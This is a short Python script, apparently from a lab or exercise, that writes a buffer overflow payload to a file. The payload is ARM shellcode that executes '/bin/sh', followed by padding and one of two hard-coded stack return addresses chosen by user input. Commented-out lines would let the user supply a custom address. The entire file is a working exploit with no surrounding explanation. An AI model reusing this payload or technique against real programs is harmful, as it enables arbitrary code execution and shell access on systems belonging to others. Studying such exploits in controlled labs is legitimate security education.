input.py 552 Bytes
import struct
f = open("input.text",'wb')

i = int(input())

if(i == 0):
	msg = b"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x78'" + b'\x64'*23 + b"\xc8\xf3\xff\x7e"


else:
	msg = b"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x78'" + b'\x64'*23 + b"\xe8\x63\xfb\x7e"

f.write(msg)
f.close()
#f = open("input.text",'ab')

#n = input()
#add = int(n,16)
#print(add)
#addr = struct.pack('<L',add)
#f.write(addr)
#f.close()